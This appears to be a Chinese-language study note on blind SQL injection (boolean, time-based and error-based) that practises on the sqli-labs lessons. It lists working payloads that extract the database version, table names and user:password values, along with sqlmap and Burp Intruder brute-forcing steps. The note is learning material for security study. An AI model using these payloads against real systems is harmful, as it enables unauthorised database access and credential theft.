基本原理
服务器没有直接对sql语句的执行结果回显,但是能够通过某些手段确定该sql语句是否执行。
盲注分类
- 布尔盲注:根据某些页面元素,判断是否执行成功。
- 时间盲注:通过构造sleep等函数,判断页面加载时间。
- 错误盲注:某些特定函数能返回数据库错误。
关键函数
- mid(string,start,length) 从start位置截取length长度
- substr(string,start,length) 从start位置截取length长度
- left(string,length) 从左开始截取
- right(string,length) 从右开始截取
- sleep(3)
- if(a,b,c) 如果A正确返回b,否则返回c
基于布尔的盲注
sqli-lab less8
#首先尝试闭合、注释,查找注入点
1' --+
and 1=1 --+
and 1=2 --+
#使用截取字符串函数,逐个试错来查找匹配的字符
1' and left(version(),1)=5--+
1' and mid(version(),1,1)=5 --+
1' and substr(version(),1,1)=5 --+
1' and length(database())=8--+
1' and substr((select table_name from information_schema.`TABLES` WHERE table_schema=database() limit 0,1),1,1)='e'--+
1' and ascii(substr((select table_name from information_schema.`TABLES` WHERE table_schema=database() limit 0,1),1,1))=102--+
基于时间的盲注
sqlilab less9,页面无论正确还是错误,返回均是一样。
- if(a,b,c) 如果A正确返回b,否则返回c
id=1' and if (1=2,1,sleep(5)) --+
1' and if(ascii(substr(version(),1,1))=53,1,sleep(5))--+
正确直接返回,不正确sleep 5s
基于报错的盲注
select exp(~(select * FROM(SELECT USER())a))
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
select !(select * from (select user())x) - ~0
测试工具
burpsuite
利用instuder模块,配合字典进行半自动注入。
- 构造sql注入预计,使用bp抓包
- 使用instuder模块,选取关键字段进行爆破
sqlmap
sqlmap -r re.txt --batch
猜解列名
- 使用kali中的字典
root@kali:/home/kali# find / -name *column*.txt
/usr/share/sqlmap/data/txt/common-columns.txt
字典中尽量去除 # 开头的列
cat /usr/share/sqlmap/data/txt/common-columns.txt | grep -v ^# > columns.txt
- 使用以下语句注入:
' and col_name is null --
-
burpsuite抓包后,send intruder,对col_name字段进行爆破,根据返回结果的字段长度筛选正确的列名。
image.png
image.png
image.png
猜解表名、数据库名
- 猜测列名后,逐级猜测表名和数据库名
' and table.user is null --
' and db.table.user is null --
猜具体的数据
' and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))> 64
' and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))> 100
# 根据返回值逐个判断
函数主要用法
1' and left(version(),1)=5--+
1' and mid(version(),1,1)=5 --+
1' and substr(version(),1,1)=5 --+
1' and length(database())=8--+
1' and ascii(substr((select table_name from information_schema.`TABLES` WHERE table_schema=database() limit 0,1),1,1))=102
加固函数
addslashes()
stripslashes()
mysql_real_escape_string()


